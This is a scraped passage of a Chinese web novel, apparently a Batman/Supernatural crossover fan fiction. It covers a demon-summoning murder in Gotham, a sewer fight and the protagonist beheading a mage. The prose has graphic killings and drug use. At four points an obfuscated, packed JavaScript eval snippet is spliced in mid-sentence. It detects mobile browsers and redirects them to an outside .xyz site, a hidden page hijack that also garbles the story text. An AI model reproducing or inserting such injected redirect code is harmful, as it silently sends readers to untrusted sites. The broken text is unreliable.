在妈妈的世界里，只要和那些富家少爷沾上一点关系，整个家都可以飞黄腾达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885213|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，爸爸不需要给主管点头哈腰就能获得全职的工作而非几十年一直待在没有社保的临时工工作，妈妈也不需要打四份零工来维持家用。 从懂事起，肯尼斯就意识到世界的残酷。 还在公立学校时，同桌一双花里胡哨的难看运动鞋顶的上肯尼斯一家半年的生活费，自己只能永远穿着或许挤脚或许太大的鞋子在操场上被健壮的同学撞来撞去。 肯尼斯只去过一次同学的生日party，精心修剪的草坪，名贵的被飞机空运而来的价格不菲的康乃馨，十几个穿着毛绒服装围着同学的npc，精致可口的菜肴。 这些在同学看来只是小小惊喜的每个元素，都源源不断的流淌着金钱，而肯尼斯只需要捞到其中的哪怕一枚金币，他的生活都会迎来翻天覆地的变化。 为什么我不能是被爱包围的小王子呢？ 妈妈精心准备的全是由半成品简单烹饪而成的高热量食物，一次次因为家里缺钱而不得不主动放弃的夏令营活动，生病时爸爸翻箱倒柜找到的舍不得吃却已经过期的药品。 这些是爱吗？为什么偏偏是我要承担这样的爱？ 为什么爱不能变成钱？ 好沉重，好压抑，好痛苦。 为什么偏偏是我做了这家的孩子？ 我为什么不能成为有钱人的孩子？ 这些淤泥一样的毫无营养的爱让青春期的肯尼斯体重不断增长，最后到了惊人的260磅，让肯尼斯鼻子上的镜片越来越厚，让肯尼斯被同学孤立成了所有人都视若无物的边缘人。 但是现在不一样了，学校的兄弟会可是最受欢迎的人才能参加的组织，只要进入其中自己也能够真正的翻身，只要讨好麦哲伦家的小少爷，一切都唾手可得。 他需要这份机会，他需要这份机会，绝对绝对不可以做错，这是唯一一根能逃离地狱的蜘蛛丝，如果连这份机会都失去，不会的，不会的，一定不会出错。 肯尼斯肥硕的身体跟在他们身边，谄媚的称呼自己是肥猪，趴在地上心甘情愿的做那些兄弟的脚踏，有时又成了打手。 一个耳光扇在瘦弱的戴着眼镜的四眼仔身上，肯尼斯的血管里都流淌着快乐，对的，这是无比的快乐，超过摄入甜食，超过吸烟，喝酒等一切易上瘾的东西。 肯尼斯清楚的知道，这种快乐来源于权力，支配他人的权力。 即便跪在兄弟面前，猪叫，狗爬，怎样都好，当有些人的狗可比当堂堂正正的人好太多了。 人自以为自己是人，为了那点虚无缥缈的尊严和自由把自己的一切都押注在工作上，认为自己的失败是不够努力。 不是的。 肯尼斯笑的癫狂，几乎要抽晕过去。 因为从很早开始，世界上只有掌握了某些东西的人才能叫做人，其他的人是奴隶，是牲口，是财产，是易获得可替代性强的人口资源。 肯尼斯认清了自己牲口的本质，摇尾乞怜要远远比那些人过得好的好的多。 我一定不能失去这些。 肯尼斯点燃混杂着白粉的香烟吐出烟圈这么想着。 我一定不能失去这些。 肯尼斯将四眼仔的脑袋按在马桶里，兴奋的狗叫时这样想到。 我一定不能失去这些。 肯尼斯举起柴刀，一刀一刀劈砍在倒在地上的老人身上，笑容几乎扯烂了嘴角，脸上的肉随着动作晃动，沾染上飞溅而出的鲜血时，也这样想到。 等等，我在—— 做什么？ 28.第 28 章 飞溅而出的血液难得唤醒了肯尼斯的神智，他本就算不上好用的脑子终于转动起来。 肯尼斯站起身来，不顾自己身上的血液，高声大喊。 “弗莱迪大人，我已为您献上祭品，请你降临。” 伴随着肯尼斯一遍又一遍撕心裂肺的呼喊，几个少爷发出猿猴般的欢呼声，尖叫声和此起彼伏的笑声。 随后，找乐子的年轻人们看着自己忠诚的奴隶把几乎剁成肉馅的尸体塞进了行李袋，在毒品的作用下开着麦哲伦父亲送的那辆几百万上下的阿斯顿马丁，跑到了不到两公里远的罗宾斯维尔的街道中间丢下了那个装满□□的裹尸袋。 被肾上腺素控制的肯尼斯带着沾血的衣物回家，过度运动后自己的手臂几乎拉伤，巨大的困倦袭击了他，来不及洗漱，只是刚刚躺在床上肯尼斯就失去了意识。 醒来的时候，肯尼斯的面前是吸满了吸血的，腥臭无比的被褥，不合身的箍在身上的染血衬衫同样散发着恶臭。 意识终于回笼的肯尼斯终于意识到自己做了什么。 “别打了别打了，我就是想从哥谭跑路，要是GCPD查出来肯定不会追究那几位少爷的责任，只有我真的会被扔进监狱，我的人生，我爸妈的人生都要完蛋了。” “放屁，你杀人的时候怎么不记得自己的人生完蛋了呢？” 迪恩气不打一处来，又是一脚踹在肯尼斯的屁股上。 “是什么样的行李袋？” “深红色的，lv的袋子，是麦哲伦给女朋友买包的时候配货来的东西，一直被扔到车后座了。” “深红色，lv袋子。” 罗宾几乎同时回答了这个问题。 “什么样的阵法还记得吗？” 迪恩拿出纸笔递给肯尼斯。 “你们搞出来的东西都快上哥谭热搜了，得亏那东西没什么攻击性，不然今晚蝙蝠侠就得把你们全塞进阿卡姆。” 肯尼斯吸着鼻涕，拿手背擦拭眼泪，一边抽噎着一边按照回忆歪歪扭扭的画下图案，颤抖着手递给迪恩。 索菲亚挤进去侧着脑袋去看纸上的图案，杂乱的弯弯扭扭的线条勉强展示出几个六芒星逆十字的样式，明明是第一次见到索菲亚总是觉得有种莫名其妙的熟悉感。 “弗莱迪是什么？你们打算在现实复原《猛鬼街》？” “那是什么？新的恐怖片吗？”萨姆询问道，显得格外诧异。 “是论坛上的一个帖子，在午夜用新鲜的血肉放置在阵法上能召唤出恶魔弗莱迪，麦哲伦觉得好玩就叫上我们一起玩。”肯尼斯抱着头，因为哭的太用力还在啜泣。 “说实话。”迪恩双手环胸自上而下的俯视着占据一大片位置的懦弱小孩。 “是我，是我翻到了这个帖子，就把这个帖子拿去给麦哲伦取乐。” “他没有说谎，只在他的设备里找到了那条帖子的浏览记录，虽然帖子已经删除，但这不算什么大问题，我复原了网页内容，确实有提到恶魔弗莱迪。” “按照购买记录和运动轨迹来看都只显示了肯尼斯的名字，包括作为凶器的登山刀和方便毁尸灭迹的绞肉机。如果他没说谎的话，麦哲伦连教唆犯罪都不算。” 看着还在审问肯尼斯的温彻斯特兄弟俩，索菲亚默默向后退了一步，低声追问。 “发帖人呢？” “ip地址就在哥谭，等等他就在你们附近，你们的位置几乎重合。” “可我这——等等，在地下对吗？” 这么说来一切都解释的通了，隐藏在哥谭地下确实比在罪犯横行的地上好上不少。 至少不用面对诸多罪犯以及罪犯练习生竭泽而渔式的可持续掠夺方案，也不需要在进行违法犯罪时提心吊胆随时担心被蝙蝠侠打断肋骨在医院里躺上十天半个月。 对比之下，生活在污水里的蟑螂老鼠杀手鳄都显得格外亲近可人。 迪恩拎着领子把大上好几圈的肯尼斯拎了起来，再确认对方站好后一巴掌拍在他的肩膀上，险些将被吓到腿软的肯尼斯再次拍的摔倒在地。 “知道去GCPD的路吗？自己老实一点去自首，不然的话——” 男人用手做了个抹脖子的动作，接着继续用手指向肯尼斯。 “你也可以试着逃走，试试这位布兰登小姐能不能把你的头砍下来。” “不喜欢砍头的话我还会碎尸。”索菲亚看似无心的开口。 “懂了吗？” 面对着那双蜜糖一样的眼睛，肯尼斯含着泪点了点头，在放开后一路沿着街巷一瘸一拐的离开。 “放心，我会看着他的。” 几个法外狂徒熟练的撬开了下水道的井盖，用手电筒确认了深度后迪恩一跃而下，在一阵水声后就听到男人骂骂咧咧的声音。 “草，这是什么味。” 萨姆在上面笑的前仰后俯，在用手电筒确认了兄长的位置后避开了积水处，平稳的落在了地面。 索菲亚断后，在跳下前顺手合上了井盖。 根本不需要过多描写，短短几个月索菲亚把哥谭地下摸得像回家一样，在哥谭不熟悉下水道不配出道做义警或者反派，而前任利爪兼新任猎魔人怎么可能会在地下迷路。 积水整体发黑，散发出各类垃圾混在一起发酵后的酸臭味，萨姆一个不着便是一阵干呕，迪恩同样不好受但还是掏出口罩递给弟弟和索菲亚。 过了一大片积水处，两侧平台上黑色的断断续续的印迹格外显眼，看样子被弗莱迪附身的查尔斯没少在此处徘徊。 走过不到几步地面在印痕的基础上增加了几道拖拽痕迹，甚至能看出指甲抓挠挣扎的痕迹。至少从痕迹的形状基本可以否定是猫狗之类的动物，那么大概率的可能只剩下了人这一个选项。 “看来我们误判了，查尔斯已经攻击人类了。” “最差的情况可能是幕后的人已经完全控制了查尔斯，促使他开始狩猎人类。” “其实我一直不明白被恶魔附身和食尸鬼到底有什么区别。”索菲亚开口“这两者听起来真的很像不是吗？” “很多被附身的人大多还活着，驱魔仪式能解决一半的问题，食尸鬼则更多是同类相食后的诅咒，这种食人怪物的传说本身就不算少见。”迪恩回答道“我猜？” 水流流过管道发出的响声格外刺耳，耳机那边的罗宾再次没了动静，索菲亚提起十二分精力判断空气中可能会有的异响。 空气中传来烈火划过的响声，索菲亚冲上前去用刀背弹开了被发射来的燃烧物，火焰落在污水中并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891081|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有熄灭，还在燃烧。 随后依旧折叠着身体的浑身上下都□□涸的血迹包裹的人形怪物发出尖啸声向三人冲来。 “我操。”迪恩掏出手枪，一次次扣动扳机，子弹呼啸着击中怪物的身体，怒吼声攻击着在场每个人的耳膜。 索菲亚挥刀砍去，在刀刃和怪物的外皮相接触的时候，意外出现了如同砍到石头般的质感，几乎几倍返回到攻击者的手臂上。 “物理攻击没用。” 索菲亚将刀收回刀鞘，一个翻滚躲开怪物的袭击，从万能腰带里掏出被放在喷雾里的圣水，下一秒就一个闪身几乎贴在怪物身上。 随着食指按压，绵密的水雾喷射而出，但仍未伤害到怪物分毫。 疑似失去所有手段的索菲亚只能暂时拉开距离，顺手把差点被查尔斯捏断脖子的迪恩向后一拉避开了攻击。 “对方应该是个法师，给上了一层护盾一样的东西，不扒开护盾我们仨都死在这都没办法完成驱魔仪式。” 破除护盾，对，要破开防御才能驱魔解决问题，圣水暂时没用，十字架估计更没用，那还有什么其他的办法吗？ 索菲亚的大脑疯狂运转，突然是想到了被尘封已久的系统。 “系统，兑换火焰魔法，最高强度。” “已接收到指令，兑换最高强度火焰魔法，倒计时120秒。” 在倒计时下，系统平日里毫无人性的机械音都显得格外亲切，三人被怪物追的狼狈逃窜，斗篷被锋利的爪子划出几道裂痕，破布般披在肩上。 “5，4，3，2，1。” 随着倒计时归零，一道可以随时可以举行女巫BBQ的巨大火焰出现在地下，席卷着将通身发黑的查尔斯卷入其中，火舌舔舐着死者被砍的稀碎的肉身，发出难闻的糊味。 索菲亚还来不及喘口气，查尔斯便拼着最后的力气飞扑而来，带着包裹全身的还在燃烧的火焰。 根本来不及闪避，拔刀更是天方夜谭，在仿佛刻意放慢的动作中，迪恩和萨姆意外的眼神格外显眼，而索菲亚只能眼睁睁看着对方的袭击。 “算了，不过是挨一下，又不会死。” 索菲亚闭上了眼睛。 咫尺之间，一道白光突破眼皮的限制将整座阴湿的地下全部照亮，仿佛到了白昼，紧接而来的便是震耳欲聋的怒吼一般的雷鸣声。 在那只利爪即将触碰到最终时刻，一道巨大的穿透了无数钢筋水泥束缚的雷电精准的劈在了查尔斯的身体上，皮肤碎片般窸窸窣窣的落下。火焰燃烧的更加剧烈，在焦糊味中，电流仍在怪物体内穿梭。 反应过来的迪恩立马掏出了圣水，萨姆也翻开了笔记手中紧握十字架开始念诵驱魔的咒语。 “啊——”此时查尔斯意外发出独属于人类的吼叫声，随着黑色的粘稠的几乎凝成实体的雾气在黑暗中被燃烧殆尽，倒霉的男人终于显露出本身的模样。 但火焰仍在燃烧，按照某个人的说法，她的魔法在燃尽黑暗前不会结束。 萨姆有些许不忍，但还是被迪恩拦了下来，年长些的兄长用手挡住了弟弟的眼睛，但自己的手却忍不住颤抖。 即便三位猎魔人心思各异，但还是安静的看着本该死去的查尔斯在烈火中尖叫，直到他再次死去。 29.第 29 章 索菲亚站在原地，静静的看着查尔斯被大火燃尽。 很明显查尔斯面对魔法毫无招架之力，那么他身上的那层能够免疫物理攻击的护盾大概率来自于背后那位蹩脚魔法师之手，这么说来刚刚照面时发射而来的火球也有了解释的空间。 而在刚刚的战斗时，即使索菲亚全部精力都用在搏斗上，也能通过声音判断出没有人离开时发出的脚步声。 结合魔法师普遍体能苦手的职业特征，索菲亚能够确定那位三流法师还呆在这里无法脱身。 或许，就在某个角落也说不定。 “我马上到，索菲亚，先不要轻举妄动。” “好，不用着急。”索菲亚低声回道。 鞋跟敲在地面，如同倒转的时钟一般每次转动都是一次催命符，在满是污水，臭气，虫豸和尸体的下水道里不断的回响。 来自角落的呼吸声越发沉重，在几次深呼吸后那道身影似乎下定了决心，对着索菲亚的方向伸出了手。 “Nox Aeterna，Tenebrae Surgite！Umbra Cordis Mei——啊！” 那只伸出的干枯的手上，一柄长刀从掌心穿透而过钉在了背后的墙上打断了法师的咒语，剧烈的痛苦让法师几乎忘记了脱困。双腿近乎失力瘫软在地上，但因为手掌被钉在墙上反而以扭曲的姿势被迫站立。 索菲亚观赏着黑袍下法师那张平凡的毫无特色的脸上满是痛苦的表情，内心升不起一丝愉悦。 至少索菲亚自认自己不是会从他人的痛苦中获得乐趣的人。 但是让这样一个利用论坛发帖就可以用魔法将活人转化成怪物的黑魔法爱好者活下来，只是增加了更多的不确定和危险。即使是索菲亚这样的对大多数事都毫不在乎的人来讲，都是在她的底线上跳舞。 “我不会放过你，等我从监狱出来，我一定会杀了你。”法师怒吼道。 “放心你不会有机会的。”索菲亚将刀鞘中的另一把长刀缓缓抽出，金属划过刀鞘的尖锐声音格外刺耳，让法师浑身上下的每块肌肉都在颤抖，求生的本能促使他不断说话来转移对痛苦的关注。 “蝙蝠侠算什么他又不能杀了我，我还有精神病，只要去医院住几个月等我养好了伤，我还会回来，没人拦得住我。” 索菲亚没有回话，在法师面前站定将长刀从墙上拔出，随着金属离开伤口，血液汩汩流出。 法师立马用自己的黑袍包住伤口，一边谩骂。 “你算什么东西？被药剂做出的怪物，杀了几个半成品就以为自己是英雄？不过是被关进动物园里让人买票进来看的怪——” 男人的声音戛然而止，头发传来的拉扯感让他不得不随着动作抬起了头，将黑发金瞳的少女映入眼帘。 随后，被穿透手掌的疼痛突然消失了，在一片空白中男人后知后觉的感知到如同被打断骨头的痛感，视角也越来越高。 在余光下，男人似乎看到了熟悉的东西，那是一具没了头的身体，站立了几秒才向右倒下，重重摔在了地上。 黑色的长袍包裹着的手掌还在渗出血液，但这些疼痛似乎都渐行渐远。 男人这才后知后觉的意识到—— 那好像是我的身体。 耳机里传来罗宾赶路的声音，钩爪枪落在建筑上带着少年滑翔的响声格外明显，凛冽的带有攻击性的风夹杂着罗宾因为疲惫略微沉重的呼吸声。 “你可以慢慢来，我已经结束了。” 索菲亚看着手上提着的没有闭上眼睛的头颅，一个使劲扔在了尸体旁边。从断口处喷出的血液溅射在墙面，却没能将已经发黑的墙体染去哪怕一分一毫。 两位同行被堪称猎奇的杀人场景所震撼，等到迪恩带着所有的不可思议上前查看的时候，法师早已经没了心跳，那颗脑袋还在他的肚子上歪七扭八的躺着。 在震撼过后，索菲亚能感受到这位同行的愤怒和不解，当与那双因为这场杀戮而震颤的眼神里，在那双蜜糖一样的眼睛里索菲亚看到了倒映出的脸上沾满血液的自己。 “我以为猎魔人的宗旨是不对人类动手？” 先开口的反而是萨姆，高个的猎魔人几乎把疑问句说成陈述句。 索菲亚没有正面回答，用斗篷擦了脸上的血迹后才说话。 “我们该走了，蝙蝠侠来了会很麻烦。” 少女转身不紧不慢的离开，将刀背划过手肘用黑色的布料擦去血液后才放回刀鞘，只留下兄弟二人对着人首分离的法师面面相觑。 索菲亚站在楼顶，黑色的斗篷随风四处摇曳，在机械发动的声音后，罗宾熟门熟路的落在了索菲亚身边。 “你还好吗？”罗宾收起钩爪枪，向索菲亚走来。 黑色的发丝同样被风吹的四处飞舞，今夜那场突如其来的雷暴将空中的积累多日的云层打碎，在暴风之后恐怕就是一场暴雨。 极度的气温骤降让索菲亚的内心毫无波澜，但秉持着猎魔人的职业素养还是让索菲亚开口询问。 “肯尼斯有去自首吗？” “我亲眼看警员把他拷上带去审问，麦哲伦也被传唤。不过还是我之前说的，因为这件事把麦哲伦和他那几个狐朋狗友一起送进去的概率不大，这几个人最多算教唆犯罪，再加上未成年的身份恐怕审问完就可以回家。” “法律似乎没什么用处。” 在带着雨前特有的泥土混杂着青草的大风中，罗宾的斗篷同样被吹出刺耳的声响，两人没有继续对话，只是在高处静静等待大雨的来临。 “提姆，你为什么要做罗宾？” 在沉默过后，有些沙哑的少年音才在空气中响起。 “我小学的时候有一个朋友，他的父亲只是个普通人，却卷进了□□混战，在枪战中死去了。因为监控失灵没有留下一丝证据，他的母亲用尽了一切手段还是没有办法讨回公道。在他的父亲去世后，他的家里失去了收入来源，之后我再也没见到过他。” “直到我在某次入侵GCPD的内网，发现了他后续的经历，他的母亲无力承担生活的重压不得不带着他搬去东区更便宜的公寓，而他为了补贴家用放弃了学业在各类灰色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895877|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行业流转。” “而GCPD唯一记载了他的文件，是一封犯罪陈述，为了获得更多的钱他决定以身犯险，跟随帮派去抢银行，最后死在了流弹之中。” “那时我就在想，如果当时有人能救下他的父亲他的人生是不是就会不一样。我知道这不是蝙蝠侠的错，他再怎么无所不能也不能阻止哥谭发生的每一起犯罪。可是，如果，如果我也加入他们，打击犯罪，哥谭是不是就会少一个这样的悲剧。” 少年的语气无比平淡，根据索菲亚的了解，提姆一定将这件事在内心翻来覆去的想了无数遍，即便如此也没有让这段记忆有一丝褪色。 “那你呢？索菲亚，你为什么要选择做猎魔人？” 提姆侧头注视着身边的索菲亚，等候同伴的答案。 “我不知道。” 索菲亚注视着哥谭亮起的灯光，说话的声音也随着斗篷被风吹散。 “我只看到了这一条路。” “那如果不做猎魔人你还想做什么呢？” 索菲亚思考过后，还是只有一个回答。 “我不知道。” 这是索菲亚从未想过的问题，甚至于完全不理解为什么提姆会问出这样的问题。 为什么会成为猎魔人？ 因为作为杀手只学会了杀戮。 为什么会作为杀手？ 因为有人需要杀手。 索菲亚从没想过为什么，只是机械般执行命令，不需要任何的思考，思考只会带来质疑和不忠。 在日复一日的训练下，少女第一次生出了疑问？ 审判庭真的能永远延续吗？ 杀死阿尔伯特在审判庭的政敌时，杀死越来越多质疑权威挑战权威的反抗者时，杀死影响了审判庭利益的商人一家时，少女的脑内一直思考着这个问题。 唯一的答案是不能。 即使是极少动用脑子的小猫头鹰，也没有为了黑心组织付出一切甚至是生命的打算，在阿尔伯特的掌控下少女怀揣着异样的心思寻找着离开的方法。 当最后一切都结束，索菲亚逃过了陪葬的命运，被猎魔人们围绕着的时候，那时还没成为监护人的女人问她。 “索菲亚，你想做什么？” 环视着周围神色各异的猎魔人，索菲亚只是回答。 “那我也做猎魔人好了。” 雨滴淅淅沥沥的落下，风却不见丝毫减弱的迹象，裹挟着水滴在钢筋水泥间旋转。 罗宾在索菲亚面前站定，用手托起了少女的下巴。 索菲亚被拉回了思绪，注视着同伴蓝色的仿佛涵盖了天空大海宝石清澈的眼眸，在眼睛的倒影里索菲亚再次看到了自己的脸。 那张脸从来没有擦干净过，仍旧有血迹沾染，直到落下的雨滴将血色一丝一丝的洗净，血水从索菲亚脚下流过，汇集在罗宾黑色的战术靴下。 索菲亚那些拙劣的伪装在罗宾面前无从遁形，被迫注视着关系已然扭曲的友人。 直到这时，索菲亚才看到提姆双眼中，即便是磅礴大雨都无法遮住的挣扎。 30.第 30 章 关于那夜自己是如何从那个天台离开又是怎样到家的，索菲亚毫无思绪。 只记得从睡梦中醒来后，只看到了忘记关上的窗户，以及顺着窗台被大风吹进的雨水打湿的被泥浆淹没的地毯。 来不及洗漱，索菲亚只能先把地毯打包好，打算过一会送去干洗店抢救一下。接着找到清洁工具，用拖布一点一点吸干积成一汪水潭的雨水。 忙来忙去的身影吸引了休息在家的斯蒂芬妮，少女干脆放弃了在客厅沙发看一下午《生活大爆炸》打发时间的休息方式，帮着抢救其他被雨水破坏的物件。 “怎么连窗户都忘记关了？你被甩了？”斯蒂芬妮把雨淋湿的四件套从床上拆下，眼神却还被客厅电视的声音所吸引“被子都湿成这样了还睡得着觉，你这个年纪你怎么睡得着的。” “没什么。”索菲亚身上套了件宽大的t恤衣摆几乎垂到膝盖，将人遮挡的严实，即使这样斯蒂芬妮也能看到露出来的皮肤上或多或少存在的剐蹭痕迹。 “是谁说的，我一个月就把他甩掉～只是玩玩～你现在像是回家发现家里的猫崽子被偷了的无助猫妈妈。” 被弄脏的布料被团成团被斯蒂芬妮顺手投进了脏衣篓里，没有一点偏移。 “不高兴就分手也没什么，又不是你俩今天分手明天地球就要爆炸。” “我当着他的面杀人了。” “哦，杀人啊，又不是——”斯蒂芬妮诧异的回头“等等，你说你当着全哥谭最在乎规则和法律的人面前杀了个人？” “对。”索菲亚点头。 “希望一会蝙蝠侠来抓你的时候能有耐心听我解释我不是共犯，我还什么都没做呢。” 斯蒂芬妮没了收拾残局的精力，在客厅左右踱步，时不时发出叹息。为了方便干活，金色的长发扎成低马尾垂在脑后，索菲亚的脑袋跟着那根辫子一起左右晃动。 “你别走了我头晕。” “你昨晚激情杀人的时候怎么不头晕？” “不是的。” “太好了，是有误会是吗？我这就联系律师给你辩护，你或许能争取无罪。” “不，没有激情。” “直接死刑，不用判了。” 斯蒂芬妮终于停下了动作，沉重的坐在了沙发上，疑似失去所有力气和手段，将脑袋埋进掌心，流露出完全无法承担的无力感。 “算了，今晚我们去看阿卡姆病院的病房好了，给你挑一件离那群疯狗远点的。想好你的反派代号了可以提前告诉我，到时候蝙蝠侠要是去揍你我就说你是我的反派，让蝙蝠侠滚出去。” 索菲亚看不到斯蒂芬妮的脸，只能从对方颤抖的身体判断出对方情绪激烈，安慰人的经验几乎为0的前杀手选择从零食框里翻出几条巧克力递给同伴。 “你要不要吃一点东西。” “算了，问题不大。”斯蒂芬妮抬起头在索菲亚还没收拾的脑袋上揉了一把“至少你还没有把小丑剁成肉馅装在包装盒里送给蝙蝠侠让他们家包饺子。” 不过过了不到一分钟，两人的注意力就从去阿卡姆需不需要自带被褥转移到了电视屏幕上，需要拖第二次的地板，被塞满的需要立刻倒掉的垃圾桶，洗衣机里已经烘干完成只需要拿出来的床单被罩，此刻都不如看屏幕上的谢尔顿在中餐馆用狗屁不通的中文点梅毒驴子。 其实索菲亚看不懂那些笑点，只是用余光看斯蒂芬妮的反应，要是斯蒂芬妮笑了她也跟着一起笑，模仿周围同伴的行为来避免自己过于突出是非常好的融入社交的方法。 索菲亚对自己的反应非常满意，过一会就看到斯蒂芬妮用遥控器关掉了电视。 “不看了吗？” 斯蒂芬妮摇头，没有说话。 电视关闭后带走了大部分声音，原本家里还能走的钟表不知道什么时候没电了，发不出一点动静，房间里又回到了索菲亚最熟悉的沉默安静的环境。 按照看过的影视作品的设定，大多数时候这种场景只会出现在角色关系破裂的前夕，沉默，无话可说，冷暴力之后便是关系正式破裂以及离开。 索菲亚几乎可以设想出重新回到一个人的生活，这再熟悉不过了。她只需要避免冲突，帮斯蒂芬妮打包好她带来的行李。哦对，斯蒂芬妮没带行李来，没关系索菲亚不介意把那个房间里的东西都送给斯蒂芬妮，至少她还能为朋友付出点什么。然后礼貌的送斯蒂芬妮离开，这样的话关系不会闹得太难看，或许之后两个人还可以一起吃饭。 斯蒂芬妮侧身看了过来，索菲亚用尽全身心克制自己想要移开视线的本能，想要把少女的眼眸印刻在自己的记忆里。 “你不需要这样做索菲亚，我不会离开你的。” 斯蒂芬妮伸出双手等待片刻，索菲亚便自觉的靠了上去将自己埋在少女的怀抱中。 “讨好别人是件很痛苦的事，曾经因为我爸妈的事，我迫切的需要关爱需要爱情。那时候我能看到的所有书都在告诉我，女性想要获得血缘关系以外的爱只有踏入恋爱关系这一条路。” “于是我迫切的在同学中找了个不算讨厌的男生恋爱，我俩在学校树林里亲嘴的时候距离我和他第一次说话还不到24个小时。” “我以为这样就算获得了爱，好像也没什么大不了，然后就是那个家伙打着恋爱为名的冒犯。” “他会对着我的每张照片指手画脚指责我的穿搭，不是说我打扮的不漂亮，就是说我像站街的流莺。但是等到了我生日的那天，收到的来自他的礼物是一条黑丝，他打视频通话过来说想看我脱光了只穿黑丝的样子。” “直到两个月之后我发现他和别的女生上床，我才决定分手。即便如此，分手的那几天我还是哭的稀里哗啦的，觉得自己没用没能经营好这份感情。” “我可以帮你杀了他。”索菲亚突然打岔，声音有些发闷。 “这倒不用，等我意识到不对的时候我去学校把他打了一顿。”斯蒂芬妮轻笑道。 “你看，即使是我也会在对方的情感操控下有意无意的去讨好对方，即使受了这么大的屈辱也只会认为是自己的问题。可是，如果真的是恋人或者朋友的话，本身就不需要去讨好对方不是吗？除非对方是那种能够从你的讨好中获益的人渣。” “我怕你会难过，明明你看电视剧的时候很开心我却一点反应没有。” “可是我们是超级无敌好朋友不是吗索菲亚？你不需要讨好我。” 两个女孩子依偎在沙发上，过了一会斯蒂芬妮默默地收回了抱着索菲亚的手，并尝试扒拉索菲亚紧紧箍在自己腰上的手臂。 “松手，要热死了，快开空调。” 索菲亚只能不情不愿的从沙发下来，翻出来空调遥控器打到最低，还没来得及回到沙发上就听到斯蒂芬妮回话。 “地还没拖完，床还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900047|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没整好，地毯也没送去干洗，别躺了起来干活吧。” “不是说我不用讨好你吗？” “那你今晚别睡觉。” 等到一切都收拾整齐，两人大汗淋漓的重新倒在沙发上，感受冷风将皮肤上的汗液一点点吹干带走多余的温度。 “我觉得不对，除了你我也没讨好别人。” “那你为什么要来我这里再确认一遍我听到你杀人后的反应呢？” “我没——” “闭嘴吧，你超在意，你不想有人失望所以一次次确认还装做不在乎。可是我问你如果我说我在乎，你还会下手吗？” “嗯……我会。”索菲亚沉思片刻给出了答案“那家伙很危险，留下来只会留下麻烦，我不想给自己挖坑。” “嗯哼？”斯蒂芬妮扬起一抹淡淡的笑容，连带着眼角眉梢都流露出笑意“那你在焦虑什么？面对真正要做的事，别人的失望又不会左右你的选择。” 倒扣在桌面的手机在此时发出震动，索菲亚伸长手去够却始终够不到，还是斯蒂芬妮长手一钩把手机递给了索菲亚。 “你想去游乐园吗？”熟悉的对话框亮起，随后弹出一张照片。 少年大概率还在作为罗宾加班，没有脱去手套，手里捏着两张印刷精致的游乐园门票。 “我这里多了两张票，你可以邀请你的朋友去。” “那你也会去吗？” 过了半个小时对方才发来新的对话。 “我会去的。” 超过30个小时没有休息对于现在的罗宾来讲不算什么稀奇，蝙蝠侠最忙的时候一天只睡两三个小时就继续工作在蝙蝠洞算得上司空见惯，而作为大哥的夜翼更是重量级。 据迪克说他在布鲁德海文要一边做警察一边额外打工赚钱晚上还需要作为夜翼巡逻，偶尔还需要抽空帮忙解决朋友的问题以及和暧昧对象更进一步。 如同八爪鱼一样多线程处理方式的行为让提姆叹为观止，并从吸取到时间管理的精髓，努力做到用最短的休息时间恢复更多的能量。 可是这套方法似乎失效了。 目睹着索菲亚离开的罗宾在频道里听到了赶去的导师对尸体进行尸检的口述报告，穿刺，斩首，下手速度极快且极度了解人体结构。 罗宾没办法把导师口中冷酷的杀手和索菲亚联系在一起，即使他清晰地听到了案发的全部过程。 回到蝙蝠洞的蝙蝠侠没有说什么，只是嘱咐提姆早点休息。 等到提姆回到房间时，窗外的倾盆大雨已经将整个哥谭笼罩。 无法入睡的少年坐了起来，打开了电脑进入网络将索菲亚的信息再次翻出来 